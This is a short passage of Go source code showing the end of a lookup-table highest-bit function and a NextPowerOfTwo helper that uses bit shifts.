634 | // Use the lookup table to determine the position of the highest bit. 635 | return uintptr(tab64[((i-(i>>1))*0x07EDD5E59A4E28C2)>>58]) 636 | 637 | } 638 | 639 | func NextPowerOfTwo(i uintptr) uintptr { 640 | i-- 641 | i |= i >> 1 642 | i |= i >> 2 643 | i |= i >> 4 644 | i |= i >> 8 645 | i |= i >> 16 646 | i |= i >> 32 647 | i++ 648 | return i 649 | } 650 | --------------------------------------------------------------------------------